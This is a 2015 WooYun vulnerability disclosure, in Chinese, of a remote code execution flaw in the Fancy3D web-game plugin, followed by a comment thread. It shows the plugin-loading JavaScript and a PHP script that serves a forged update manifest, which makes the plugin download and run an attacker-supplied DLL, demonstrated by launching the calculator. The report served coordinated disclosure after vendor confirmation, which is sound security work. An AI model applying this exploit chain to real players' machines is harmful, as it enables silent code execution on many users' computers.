当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134522

漏洞标题:如何拿下几十万热门页游玩家的电脑(Fancy3D游戏引擎远程代码执行漏洞)

相关厂商:ate.cn

漏洞作者: 路人甲

提交时间:2015-09-22 11:47

修复时间:2015-12-21 11:52

公开时间:2015-12-21 11:52

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-22: 细节已通知厂商并且等待厂商处理中
2015-09-22: 厂商已经确认,细节仅向厂商公开
2015-09-25: 细节向第三方安全合作伙伴开放
2015-11-16: 细节向核心白帽子及相关领域专家公开
2015-11-26: 细节向普通白帽子公开
2015-12-06: 细节向实习白帽子公开
2015-12-21: 细节向公众公开

简要描述:

标题一定要性感,漏洞类型一定要叼,自评rank一定要高 这样才会有闪电
这几年页游越来越火,大有取代端游的趋势。从早期的文字游戏,到后来的js、flash、3D,游戏引擎日益成熟,捞钱手段越发精明。辉煌的背后,安全问题却很少被人提起。
今天,路人甲就来丢个重磅炸弹。(没错我就是匿名 你找的到我么)
你玩XXX么?玩?哦 那你是我的肉鸡了
你玩XX么?不玩?那你玩过XXX么?半年前玩过1分钟?哦 那你也是我的肉鸡了
你玩XX么?不玩?XXX也不玩?你是开发者?哦 那你还是我的肉鸡
下面开始很严肃的详细说明。哦对 你们要3个月后才能看到 哈哈 怪我咯

详细说明:

北京青果灵动科技有限公司自主研发的3D网页游戏引擎Fancy3D。测试中发现有参数可任意控制 最终实现远程命令执行。以下是分析过程:
先来看看游戏加载页面 这里选了一款苏州争渡科技有限公司开发游戏 三国武神
为保持卷面整洁,代码有删减
游戏主页面:http://s18.37wan.sgws.ate.cn/tapi/v1/otplat/login?platform=xxxxxx

<script src="http://s18.37wan.sgws.ate.cn/proxy/getvjs/x52/18"></script>//加载后期配置
<script src="http://res.ly.sgws.g.1360.com/static/52xiyou/js/logic1.2.js"></script>//Fancy3D插件启动脚本
this.logincode = (function(){
var box = 'no';
if(_self.platform == 'xunlei'){
try { window.external.GetClientInfo(); box = 'xunlei';} catch(e) { box = 'no'; }
}
return 'foaparam=lordcrab:\/\/sn=18服\x26sa=s18.37wan.sgws.ate.cn:3018\x26tl=1439716841\x26un=p37_18_xutianle2\x26cc=某个md5\x26nc=p37_18_xutianle2\x26dx=\x26ndx=\x26cv=test3\/\x26api=http:\/\/s18.37wan.sgws.ate.cn\/proxy\/getv\/x52\/18\x26xcn=test\x26xcv=3&xdt=' + box + '# http:\/\/s18.37wan.sgws.ate.cn\/proxy\/getv\/x52\/18 a 3 test 1';
}()); //logincode生成 下面会说到


先看看http://s18.37wan.sgws.ate.cn/proxy/getvjs/x52/18

window.gameversion="1400301";window.TangRen_AutoPatch="http://res.ly.sgws.g.1360.com/updateot/TangRen-AutoPatch5.18.zip";window.fancydownurlx64="http://res.ly.sgws.g.1360.com/static/fancy/down64.dll";window.fancyentryurl="http://res.ly.sgws.g.1360.com/static/fancy/SangoWebEntry.exe";window.clientversion="1.0";window.versions="1400229";window.fancydownurlx86="http://res.ly.sgws.g.1360.com/static/fancy/down.dll";window.entrymd5="8cbed3568c343907430a7a4c5b1ac428";window.mfc="http://res.ly.sgws.g.1360.com/updateot/mfc.zip";window.TangRenPluginSetUp="http://res.ly.sgws.g.1360.com/updateot/TangRenPluginSetUp1.4.zip";window.fancymd5x64="dd6ffd1aedc204efec3a722ec670f176";window.fancymd5x86="aa401a6cb0f487078b75454576eba479";window.version="1.0";


这里面定义了一些初始化的配置 方便解说下面称这段配置为“配置一”
然后来看启动插件的部分logic1.2.js

....以上省略....
//-------------------------------------------
//启动青果插件
function load_fancy_html_obj(){
var attr = _E.browser == 'ie'?'classid="clsid:b2e8d85e-c0c5-48df-8dbc-1359b339ae32"' : 'type="application/fancy-npruntime-fancy3d-plugin"';
var liburl = window.fancydownurlx86;
var libmd5 = window.fancymd5x86;
if(_E.browser == 'ie' && _E.platform == 'x64'){
liburl = window.fancydownurlx64;
libmd5 = window.fancymd5x64;
}
var tr_pick_url = 'http://'+_G.pickurl+'/pick/multiinfo',
tr_createTokenUrl = 'http://'+_G.apiHost+'/createtoken?token=' + _G.tr_token,
tr_createTokenKey = 'none',
tr_createTokenName = 'none';
var param1 = _G.username + ' ' + tr_pick_url + ' ' + tr_createTokenUrl + ' ' + tr_createTokenKey + ' '+ tr_createTokenName + ' ' + _G.logincode;

var html = '<object id="fancy3d_object" ' + attr + '>'+
'<param name="game" value="ZDSGGame" />'+
'<param name="nprver" value="0.0.2.17" />'+
'<param name="ocxver" value="0.0.2.17" />'+
'<param name="liburl" value="' + liburl + '" />'+
'<param name="libmd5" value="' + libmd5 + '" />'+
'<param name="unsafelib" value="allow" />'+
'<param name="param1" value="exeparam=40 ' + param1 + '" />'+
'<param name="exename" value="SangoWebEntry.exe" />'+
'<param name="exeurl" value="' + window.fancyentryurl + '" />'+
'<param name="exemd5" value="' + window.entrymd5 + '" />'+
'</object>';
$("#fancy3d_divbox").html(html);
}
....以下省略....


其中的重要变量(意思是如果这个变量有问题,插件就不会启动或者无法执行下去)有
attr 根据浏览器选择插件加载方式
liburl 插件启动后首先下载的文件 来自配置一的window.fancydownurlx86
libmd5 顾名思义 上面一个文件的MD5 来自配置一的window.fancymd5x86
exeurl 游戏主程序的地址 来自配置一window.fancyentryurl
exemd5 游戏主程序md5 来自配置一的window.entrymd5
param1 普通参数传递 这里面比较重要的是_G.logincode 来源在上面
下面说说观察到的流程:
1、点开网页后,首先加载fancy3d插件
2、插件启动后,在C:\Users\用户\fancy\下创建目录ZDSGGame
3、插件下载liburl(down.dll)并加载
4、插件下载游戏主程序SangoWebEntry.exe并启动
5、SangoWebEntry.exe请求logincode中的api获取版本号
6、SangoWebEntry.exe请求http://s18.37wan.sgws.ate.cn/proxy/getv/x52/18(来源logincode) 内容如下:

{"gameversion": "1400301", "TangRen_AutoPatch": "http://res.ly.sgws.g.1360.com/updateot/TangRen-AutoPatch5.18.zip", "fancydownurlx64": "http://res.ly.sgws.g.1360.com/static/fancy/down64.dll", "fancyentryurl": "http://res.ly.sgws.g.1360.com/static/fancy/SangoWebEntry.exe", "clientversion": "1.0", "versions": "1400229", "fancydownurlx86": "http://res.ly.sgws.g.1360.com/static/fancy/down.dll", "entrymd5": "8cbed3568c343907430a7a4c5b1ac428", "mfc": "http://res.ly.sgws.g.1360.com/updateot/mfc.zip", "TangRenPluginSetUp": "http://res.ly.sgws.g.1360.com/updateot/TangRenPluginSetUp1.4.zip", "fancymd5x64": "dd6ffd1aedc204efec3a722ec670f176", "fancymd5x86": "aa401a6cb0f487078b75454576eba479", "version": "1.0"}


7、SangoWebEntry.exe从上一步请求结果中取出TangRen_AutoPatch地址并下载解压到client目录
8、SangoWebEntry.exe从client目录解压TangRen-AutoPatch5.18.zip并载入TangRen-AutoPatch.dll开始自动更新
9、自动更新完毕 进入游戏
从以上流程可以看到 如果3 4 6 这几步的内容可被任意控制 那就可以下载并执行任意的exe或者dll了
实际测试发现3(liburl) 4(exeurl)这两个参数只要一改域名 插件就不运行,应该是做了检查了
第6步的下载地址来自http://s18.37wan.sgws.ate.cn/proxy/getv/x52/18
http://s18.37wan.sgws.ate.cn/proxy/getv/x52/18来自logincode
logincode可控 而且按照格式修改的话 插件可以正确读取加载 于是搭建测试环境如下
首先写一个TangRen-AutoPatch.dll 如图
poc而已 求不吐槽

dllcode.png


然后打包成TangRen-AutoPatch5.18.zip放到web目录下
然后新建一个php文件

<?php
if($_GET['type'] == 'gameversion'){ //流程第5步请求的api 图方便我也改成这里了
die('1400301');
}else{
echo '{"gameversion": "1400303", "TangRen_AutoPatch": "http://localhost/updateot/TangRen-AutoPatch5.18.zip", "fancydownurlx64": "http://localhost/static/fancy/down64.dll", "fancyentryurl": "http://localhost/static/fancy/SangoWebEntry.exe", "clientversion": "1.1", "versions": "1400303", "fancydownurlx86": "http://localhost/static/fancy/down.dll", "entrymd5": "9cbed3568c343907430a7a4c5b1ac428", "mfc": "http://localhost/updateot/mfc.zip", "TangRenPluginSetUp": "http://localhost/TangRenPluginSetUp1.4.zip", "fancymd5x64": "dd6efd1aedc204efec3a722ec670f176", "fancymd5x86": "ba401a6cb0f487078b75454576eba479", "version": "1.0"}';
}


其中最主要的是这段

"TangRen_AutoPatch": "http://localhost/TangRen-AutoPatch5.18.zip"


然后修改一下游戏主页面 浏览器打开,然后什么都没有发生。。。
继续查看插件log发现TangRen_AutoPatch只会在游戏第一次安装的时候被下载和执行(或者版本更新?这里没研究下去)
需要游戏第一次加载 我们就再来看看游戏第一次加载的流程 其中第二步
2、插件启动后,在C:\Users\用户\fancy\下创建目录ZDSGGame
这个ZDSGGame是不是很眼熟 在游戏加载插件的时候 有个game参数的值就是这个

var html = '<object id="fancy3d_object" ' + attr + '>'+
'<param name="game" value="ZDSGGame" />'+


抱着试试看的态度 把这里的ZDSGGame改成了ZDSGGame1,重新用浏览器打开,等了大概5秒 刷的一下就弹出了熟悉的计算器
查看C:\Users\用户\fancy\ 果然生成了ZDSGGame1目录

tree.png


后记:
市面上好多热门游戏包括暗黑之光 佛本是道 等等等等都在用这款插件 虽然具体流程略有不同,但是他们是共享的同一个网页插件
classid:b2e8d85e-c0c5-48df-8dbc-1359b339ae32
所以只要玩过任何一款这个插件的游戏,就可以被攻击,当然也包括安装了这个插件的开发者,标题不算夸大吧。

漏洞证明:

由于插件是跨浏览器的,所以测试firefox ie 360浏览器极速模式(兼容模式)都可以成功运行

firefox.png


360.png

修复方案:

检查做全套,细节最重要

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-22 11:51

厂商回复:

会安排及时处理

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-16 20:26 | 进击的zjx ( 普通白帽子 | Rank:1077 漏洞数:143 | 1000rank目标达成!撒花……)

    6666666

  2. 2015-08-16 20:26 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1810 漏洞数:149 | 如果大海能够带走我的矮丑...)

    666666666

  3. 2015-08-16 20:47 | 随风的风 ( 普通白帽子 | Rank:180 漏洞数:60 | 微信公众号:233sec 不定期分享各种漏洞思...)

    漏洞默认四十五天后公开 不是三个月。。。

  4. 2015-08-16 20:54 | Hero ( 普通白帽子 | Rank:116 漏洞数:32 | 药药切克闹,充气娃娃迷幻药)

    @随风的风 如果漏洞厂商不确认的话

  5. 2015-08-16 21:01 | 随风的风 ( 普通白帽子 | Rank:180 漏洞数:60 | 微信公众号:233sec 不定期分享各种漏洞思...)

    @Hero 我很期待不确认

  6. 2015-08-16 21:09 | DloveJ ( 普通白帽子 | Rank:1178 漏洞数:211 | <iframe src=javascript:alert('xss');heig...)

    666

  7. 2015-08-16 21:37 | 纯情 ( 路人 | Rank:17 漏洞数:2 | 站在人生的顶端,俯视生命的千姿百态。)

    作者说的这些话值得我等屌丝深思深思撸

  8. 2015-08-16 21:54 | wps2015 ( 普通白帽子 | Rank:568 漏洞数:74 | 不叫一日荒废)

    mark一下

  9. 2015-08-16 21:59 | 小龙 ( 普通白帽子 | Rank:1339 漏洞数:333 | 乌云有着这么一群人,在乌云学技术,去某数...)

    怪不得我电脑卡卡的,原来是你

  10. 2015-08-16 23:02 | Huc-Unis ( 普通白帽子 | Rank:1148 漏洞数:318 | 无限收购乌云币,转账自付手续费,也可以感...)
  11. 2015-08-17 00:14 | scanf ( 核心白帽子 | Rank:1334 漏洞数:193 | 。)

    这个是通过Flash那种网页可以控制用户电脑做羞羞的事情吗?23333

  12. 2015-08-17 10:18 | 小川 认证白帽子 ( 核心白帽子 | Rank:1402 漏洞数:220 | 一个致力要将乌云变成搞笑论坛的男人)

    这厮好会吊人胃口

  13. 2015-08-17 11:07 | EtherDream ( 实习白帽子 | Rank:64 漏洞数:11 | JSHacker)

    搜了下这公司,也不是纯 Flash 的页游,有依赖客户端的插件。估计每次启动会加载某网站上的更新命令,然后拿下这站就能控制所有用户了。

  14. 2015-08-17 11:11 | scanf ( 核心白帽子 | Rank:1334 漏洞数:193 | 。)

    @EtherDream插件是exe的?真是可怕啊!!

  15. 2015-08-17 12:02 | 腹黑 ( 路人 | Rank:14 漏洞数:10 | (◦ "̮ ◦))

    太吊胃口了

  16. 2015-08-17 12:39 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1250 漏洞数:124 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    感觉应该是页游插件 远程命令执行啊

  17. 2015-08-17 13:33 | 番茄师傅 ( 普通白帽子 | Rank:313 漏洞数:86 | http://www.tomatoyu.com/)

  18. 2015-08-17 14:18 | 0xLucifer ( 路人 | Rank:2 漏洞数:2 | NULL)

    游戏引擎的漏洞?

  19. 2015-08-17 18:36 | 土夫子 ( 普通白帽子 | Rank:375 漏洞数:69 | 你怎样看世界,世界就怎样看你)

    大表哥牛逼

  20. 2015-08-17 18:37 | 土夫子 ( 普通白帽子 | Rank:375 漏洞数:69 | 你怎样看世界,世界就怎样看你)

    @0xLucifer 机智.

  21. 2015-08-17 20:12 | crown丶prince ( 普通白帽子 | Rank:173 漏洞数:35 | 我用双手成就你的梦想)

    666666

  22. 2015-08-17 23:08 | Let a person cry. ( 路人 | Rank:27 漏洞数:11 | xxoo)

    666666神奇的路人甲总是那么牛X

  23. 2015-08-17 23:17 | Versace丶Laden ( 路人 | Rank:2 漏洞数:1 | 安拉胡阿克巴)

    我就看看不说话

  24. 2015-08-18 00:32 | 小哲哥 ( 路人 | Rank:8 漏洞数:4 | 关注网站安全)

    就这么等着

  25. 2015-08-18 00:59 | 小宇 ( 路人 | Rank:20 漏洞数:5 | 逆水行舟,不进则退)

    已关注。

  26. 2015-08-18 13:52 | 老秦 ( 路人 | Rank:2 漏洞数:1 | WEB渗透研究学习)

    持续关注

  27. 2015-08-22 11:06 | devil ( 路人 | Rank:2 漏洞数:2 | 小小菜鸟!多多指教)

    不是插件的问题?那是不是通过Huc-Unis大牛发的那个?

  28. 2015-08-27 19:57 | 暮偶 ( 路人 | Rank:5 漏洞数:2 | 代码写的好累.)

    持续关注并深入学习.

  29. 2015-08-29 01:17 | 路人毛 ( 实习白帽子 | Rank:50 漏洞数:18 | 呵呵)

    猥琐的标题

  30. 2015-09-11 22:32 | jye33 ( 普通白帽子 | Rank:262 漏洞数:78 | 没有什么能够阻挡,我对静静的向往)

    坐等漏洞公开

  31. 2015-09-22 11:49 | mango ( 核心白帽子 | Rank:1741 漏洞数:256 | 我有个2b女友!)

    厂商来了!!!

  32. 2015-09-22 12:41 | 泳少 ( 普通白帽子 | Rank:232 漏洞数:80 | ★ 梦想这条路踏上了,跪着也要...)

    是通过朋友圈找到厂商的吗?

  33. 2015-09-22 12:47 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1077 漏洞数:139 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @泳少 恩。 联系的CTO

  34. 2015-09-22 13:01 | zzR 认证白帽子 ( 核心白帽子 | Rank:1394 漏洞数:123 | 收wb 1:5 无限量收 [平台担保])

    幸好我没有电脑

  35. 2015-09-22 14:07 | 江苏苏宁易购电子商务有限公司(乌云厂商)

    幸好我没有网络

  36. 2015-09-22 14:37 | 残废 ( 普通白帽子 | Rank:265 漏洞数:55 | 我是残废,啦啦啦啦)

    6666666

  37. 2015-09-22 14:45 | f4ckbaidu ( 普通白帽子 | Rank:195 漏洞数:26 | 开发真是日了狗了)

    屌屌屌

  38. 2015-09-22 15:08 | 泳少 ( 普通白帽子 | Rank:232 漏洞数:80 | ★ 梦想这条路踏上了,跪着也要...)

    @江苏苏宁易购电子商务有限公司 你是想被挖还是被挖?/坏笑

  39. 2015-09-22 15:25 | 白开水 ( 普通白帽子 | Rank:242 漏洞数:27 | 苍茫的天涯是我的爱~)

    卧槽

  40. 2015-09-22 16:42 | 0hey_boy0 ( 实习白帽子 | Rank:84 漏洞数:19 | balaba~)

    6666666

  41. 2015-09-22 16:45 | sOnsec ( 普通白帽子 | Rank:100 漏洞数:27 | 安全是什么...)

    0day

  42. 2015-09-22 17:16 | also ( 普通白帽子 | Rank:424 漏洞数:52 | 招渗透/php/前端/ios&android安全,广州地...)

    1

  43. 2015-09-22 17:17 | 江苏苏宁易购电子商务有限公司(乌云厂商)

    @泳少 先去src注册个账号吧

  44. 2015-09-22 17:21 | ganggang ( 路人 | Rank:4 漏洞数:2 | 这个号是来乌云聊天的....)

    我昨晚和刚邮到的媳妇云雨了一番,早上起来发现尼玛摄像头竟然照着床.......你有没有.....

  45. 2015-09-22 17:24 | f4ckbaidu ( 普通白帽子 | Rank:195 漏洞数:26 | 开发真是日了狗了)

    @ganggang 第二我就发现有人发了个视频,叫“与充气娃娃激情一晚,mkv”

  46. 2015-09-23 00:33 | 指尖的温度 ( 路人 | Rank:25 漏洞数:9 )

    我已经看了这个视频

  47. 2015-11-26 12:19 | 番茄师傅 ( 普通白帽子 | Rank:313 漏洞数:86 | http://www.tomatoyu.com/)

    @指尖的温度 我是来求种子的。。

  48. 2015-11-26 22:55 | 指尖的温度 ( 路人 | Rank:25 漏洞数:9 )

    @番茄师傅 什么种子

  49. 2015-12-21 11:57 | 小涛 ( 路人 | Rank:0 漏洞数:1 | 跟随大大们的脚本来的)

    师傅师傅师傅